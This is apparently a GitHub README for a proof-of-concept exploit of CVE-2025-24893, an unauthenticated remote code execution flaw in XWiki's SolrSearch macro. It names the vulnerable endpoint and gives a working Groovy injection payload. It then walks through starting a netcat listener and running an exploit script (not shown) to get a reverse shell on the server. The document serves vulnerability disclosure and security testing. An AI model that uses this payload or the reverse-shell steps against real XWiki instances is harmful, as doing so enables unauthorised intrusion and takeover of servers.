# CVE-2025-24893 - XWiki Unauthenticated RCE Exploit POC
> β οΈ Unauthenticated Remote Code Execution in XWiki
> π οΈ PoC implementation by [@dollarboysushil](https://dollarboysushil.com)
## π‘ Overview
**CVE-2025-24893** is a critical RCE vulnerability in [XWiki](https://xwiki.org), caused by unsafe Groovy expression handling inside the `SolrSearch` macro. An attacker can inject Groovy code through a crafted GET request, leading to **remote code execution** (no authentication required).
- **Severity:** Critical (CVSS 9.8)
- **Affected:** Versions < 15.10.11, 16.4.1, 16.5.0RC1
---
## π Technical Breakdown
The vulnerability resides in the **`SolrSearch` macro** (`Main.SolrSearch`) of XWiki, which handles search input using unsafe Groovy evaluation. The macro fails to sanitize user-supplied input, allowing for **arbitrary code execution**.
### π₯ Vulnerable Endpoint
```
/xwiki/bin/get/Main/SolrSearch?media=rss&text=
```
An attacker can inject Groovy code into the `text` parameter, which is evaluated server-side due to improper input handling within the macro system.
### π₯ Example Payload
```text
}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}
```
This leads to unauthenticated **Remote Code Execution (RCE)** on vulnerable XWiki instances.
### π¬ Proof-of-Concept (PoC) Demonstration
#### π§ͺ Target Environment
The vulnerable target is an XWiki instance running version `15.10.8`, which is affected by CVE-2025-24893.

---
#### π‘ Preparing the Listener
Start a Netcat listener on the attacker's machine to capture the reverse shell connection:
```bash
nc -lvnp 1337
```

---
#### π Launching the Exploit
Run the exploit script `CVE-2025-24893-dbs.py` to deliver the Groovy-based RCE payload to the vulnerable XWiki endpoint.

---
#### π» Successful Remote Shell Access
Upon successful execution, the reverse shell will connect back to the listener, granting the attacker remote access to the server.
